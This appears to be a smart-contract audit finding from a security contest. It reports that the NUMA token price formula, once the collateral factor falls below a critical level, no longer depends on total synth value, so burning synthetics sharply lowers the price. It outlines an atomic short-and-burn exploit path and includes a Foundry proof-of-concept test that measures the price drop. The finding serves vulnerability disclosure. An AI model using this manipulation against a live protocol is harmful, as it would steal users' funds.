Skip to content

Latest commit

 

History

History
199 lines (141 loc) · 6.38 KB

057.md

File metadata and controls

199 lines (141 loc) · 6.38 KB

Small Shamrock Rook

High

NUMA price can be severely manipulated when CF < cf_critical, leading to loss

Summary

Due to the change in the NUMA pricing formula when CF < cf_critical, it enables an attacker to manipulate the price atomically to steal funds.

Root Cause

Background info for root cause The original formula for the NUMA price is: $\text{numaPrice} = \frac{\text{vaultCollateralValue} - \text{totalSynthValue}}{\text{numaTotalSupply}}$ (with all values in ETH)

Using this formula, when a user burns synthetics to mint NUMA, the NUMA price stays relatively stable because numaTotalSupply increases while totalSynthValue simultaneously decreases.

However, when cf < cf_critical, the totalSynthValue is scaled by criticalScaleForNumaPriceAndSellFee which is calculated in the following way:

uint criticalScaleForNumaPriceAndSellFee = BASE_1000;
// CRITICAL_CF
if (currentCF < cf_critical) {
    uint criticalDebaseFactor = (currentCF * BASE_1000) / cf_critical;

    criticalScaleForNumaPriceAndSellFee = criticalDebaseFactor;

   // OTHER CODE // 
}

currentCF is calculated via getGlobalCF(). The calculation can be summarised as currentCF = totalVaultCollateralValue / totalSynthValue

By applying this scaling, the new formula for the NUMA price when currentCF < cf_critical is:

$\text{numaPrice} = \frac{\text{vaultCollateralValue} - \text{totalSynthValue * currentCF / cfCritical}}{\text{numaTotalSupply}}$ (with all values in ETH)

Now since $\text{currentCF} = \frac{\text{vaultCollateralValue}}{\text{totalSynthValue}}$,

the formula for NUMA price simplifies to:

$\text{numaPrice} = \frac{\text{vaultCollateralValue} - \text{vaultCollateralValue / cfCritical}}{\text{numaTotalSupply}}$ (with all values in ETH)

The issue When comparing this formula with the original formula, we see that this one is not dependent on the totalSynthValue. This is a critical issue because it means that when synthetics are burned to mint NUMA, the numaTotalSupply increases, but the numerator remains unchanged. This greatly decreases the NUMA price.

It can be exploited by atomically opening a short leveraged position on NUMA, burning synthetics to NUMA, and closing the short position for profit.

Internal pre-conditions

currentCF < cf_critical

External pre-conditions

No response

Attack Path

No response

Impact

An attacker can atomically manipulate the NUMA price by burning nuAssets, and profit greatly by first opening a large short position on it.

They can also atomically cause rETH borrows to be liquidatable and liquidate them.

PoC

Add the following PoC functions to Printer.t.sol

function test_priceManipulationWhenCFCritical() external {
        
        // first mint some synths
        _mintAssetFromNumaInput();

        vm.startPrank(userA);
        nuUSD.approve(address(moneyPrinter), type(uint256).max);

        console.log("global CF: %e", vaultManager.getGlobalCF());
        console.log("critical CF: %e", vaultManager.cf_critical());

        // synth scaling critical debase
        uint256 snapshot = vm.snapshotState();
        _forceSynthDebasingCritical();

        console.log("AFTER FORCING CRITICAL CF");

        uint256 amountBuy = vaultManager.ethToNuma(
            1e18,
            IVaultManager.PriceType.BuyPrice
        );
        console.log("[Before Synth Burn] Numa for 1 ETH: %e", amountBuy);

        // SELLING
        uint256 nuAssetAmount = nuUSD.balanceOf(userA);
        vm.startPrank(userA);
        moneyPrinter.burnAssetInputToNuma(
            address(nuUSD),
            nuAssetAmount,
            0,
            userA
        );

        amountBuy = vaultManager.ethToNuma(
            1e18,
            IVaultManager.PriceType.BuyPrice
        );

        console.log("[After Synth Burn] Numa for 1 ETH: %e", amountBuy);


        ///////// REVERTED STATE ///////////
        vm.revertToState(snapshot); 
        console.log("REVERTED STATE TO NORMAL CF_CRITICAL");
        console.log("critical CF: %e", vaultManager.cf_critical());

        // Price check
        amountBuy = vaultManager.ethToNuma(
            1e18,
            IVaultManager.PriceType.BuyPrice
        );
        console.log("Numa for 1 ETH before: %e", amountBuy);

        // SELLING
        nuAssetAmount = nuUSD.balanceOf(userA);
        vm.startPrank(userA);
        moneyPrinter.burnAssetInputToNuma(
            address(nuUSD),
            nuAssetAmount,
            0,
            userA
        );

        amountBuy = vaultManager.ethToNuma(
            1e18,
            IVaultManager.PriceType.BuyPrice
        );

        console.log("Numa for 1 ETH after: %e", amountBuy);
    }
    
    function _mintAssetFromNumaInput() public {
        uint numaAmount = 3.5e24;

        vm.startPrank(deployer);
        numa.transfer(userA, numaAmount);
        vm.stopPrank();

        vm.startPrank(userA);
        numa.approve(address(moneyPrinter), numaAmount);
        moneyPrinter.mintAssetFromNumaInput(
            address(nuUSD),
            numaAmount,
            0,
            userA
        );
    }
    function _forceSynthDebasingCritical() public {
        vm.startPrank(deployer);

        uint globalCF2 = vaultManager.getGlobalCF();
        console.log(globalCF2);

        // critical_cf
        vaultManager.setScalingParameters(
            globalCF2 + 1,
            vaultManager.cf_warning(),
            vaultManager.cf_severe(),
            vaultManager.debaseValue(),
            vaultManager.rebaseValue(),
            1 hours,
            2 hours,
            vaultManager.minimumScale(),
            vaultManager.criticalDebaseMult()
        );
    }
The console output demonstrates the following:

When cf < cf_critical: [Before Synth Burn] Numa for 1 ETH: 7.180475215933677256464e21 [After Synth Burn] Numa for 1 ETH: 6.917607405733951990574e21 Price change: (-3.7%)

When cf > cf_critical: [Before Synth Burn] Numa for 1 ETH before: 7.184051273989430565546e21 [After Synth Burn] Numa for 1 ETH after: 7.132604355406555055698e21 Price change: (-0.72%)

This shows that the price can be significantly decreased (by burning synths to mint NUMA), due to the calculation not accounting for the total synth value when cf < cf_critical.

Mitigation

No response